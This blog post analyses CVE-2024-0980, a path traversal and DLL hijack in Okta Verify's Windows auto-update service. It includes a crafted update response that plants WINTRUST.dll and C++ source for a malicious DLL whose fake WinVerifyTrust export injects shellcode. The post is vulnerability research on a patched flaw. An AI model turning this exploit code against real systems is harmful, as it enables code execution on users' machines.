CVE-2024–0980: Okta Verify Arbitrary Code Execution Root Cause Analysis

Robel Campbell
Reverence Cyber
Published in
4 min readApr 30, 2024

Update: Here is Ryan Wincey’s write-up on his discovery.

NOTE: This exploit is for Windows only and an attacker must have access to an adjacent network with the ability to intercept the connection between a client machine and its update server. This writeup is from the perspective of an attacker who has accomplished both.

Intro

I performed root cause analysis for a vulnerability found in Okta Verify for Windows in versions prior to 4.10.7 and thought I would share some of the details.

Okta in general has a large attack surface and with over 800 known installs across our customers and partners at Blackpoint Cyber, so I figured it was worth looking into to understand the nature of the vulnerability and how a threat actor would exploit it.

The Auto-update service for Okta Verify is vulnerable to two flaws which in combination could be used to execute arbitrary code:

  • Improper Limitation of a Pathname to a Restricted Directory (CWE–22)
  • Uncontrolled Search Path or Element (CWE-427)

The vulnerability has a CVSS score of 7.1 since it requires local network access to exploit.

Path Traversal

When the Okta Verify Auto Update service reaches out to the tenant’s server, it parses data from the server’s response to craft another request to retrieve the update binary.

The json output below is an example of the data sent back by a legitimate update server.

{"version":"4.10.7","artifactType":"WINDOWS_OKTA_VERIFY","releaseChannel":"GA","releaseDate":"2024-03-27T02:22:22.000Z","files":[{"href":"/artifacts/WINDOWS_OKTA_VERIFY/4.10.7.0/OktaVerifySetup-4.10.7.0-9673055.exe","size":13601392,"type":"EXE","commandArgs":"/q","requiresElevatedInstall":true,"fileHashes":{"SHA-256":"f3cb0d25863356a50a16be3e7bc14966309c89c7314fbd60ea868c3496ece0a0","SHA-512":"159b0d96906440203cda92e73442c72216194cc7f8ac9f973ddda4c563c8da76fe18e51d7d8fa5dbe31c428302ff5ae80d26d82edada8dd4054847498c9e722d"}}]}

The Okta application parses the “href” parameter to get the URL path name of the binary and uses it in a follow-on request to retrieve it. The application saves it to the C:\Windows\TEMP directory, checks its signature and executes it if the signature verification passes.

If the application reaches out to an attacker-controlled server for its update, the attacker can craft a response that modifies the “href” parameter to include an arbitrary Windows directory path that will be used to store a malicious DLL.

# ...snip...
data = {
"version": "4.10.7",
"artifactType": "WINDOWS_OKTA_VERIFY",
"releaseChannel": "GA",
"releaseDate": "2024-03-27T02:22:22.000Z",
"files": [
{
# Path traversal is possible here
"href": "/artifacts/WINDOWS_OKTA_VERIFY/4.10.7.0/C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WINTRUST.dll",
# ...snip...

The images below show successful request logs to the attacker-controlled server and the path of the newly written DLL.

DLL Hijack

If we diff the patches between the old and new Okta.AutoUpdate.Executor.dll, we see multiple fixes for the search path where DLLs should be imported, specifically for wintrust.dll.

Using a tool like Procmon from Sysinternals on OktaVerify.exe will show that the DLL is first searched for in the directory C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ but it cannot be found. An attacker using the path traversal vulnerability to write a malicious DLL named wintrust.dll in that directory is able to execute arbitrary code.

WINTRUST.dll exports several functions used in the signature verification of the downloaded update binary. Even though the malicious DLL will not pass the signature check, we can leverage the exported API WinVerifyTrust which is one of the first functions called in the verification process.

We can write our own malicious DLL and export a function named WinVerifyTrust which in this case injects shellcode into the current process.

extern "C" {
__declspec(dllexport) LONG __stdcall WinVerifyTrust(HWND hwnd, GUID* pgActionID, LPVOID pWVTData) {

unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
/* snip */

void* exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof(buf));
((void(*)())exec)();

return 0;
}
}


BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, L"Successfully exploited OktaVerify CVE-2024-0980", L"CVE-2024-0980", MB_OK);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

Once OktaVerify.exe starts, it will load the malicious DLL into memory, execute any code in the DLL_PROCESS_ATTACH switch case and attempt to verify the “update” binary using our fake exported WinVerifyTrust function.

Closing Thoughts

It may be unlikely that a threat actor would go through the trouble of exploiting this vulnerability, however, gaining local network access and intercepting network traffic is fairly trivial, so it is still worth highlighting the potential impact this would have in an enterprise where all user’s Okta Verify updates were hijacked, leading to a compromise of their machines.

Fortunately, the Auto Update Service does exactly what its meant to do, which ensures end users receive the latest patches immediately unless specified otherwise by an administrator. Okta’s fix included sanitizing the path of the downloaded update binary and ensuring DLL search order paths were handled properly.

--

--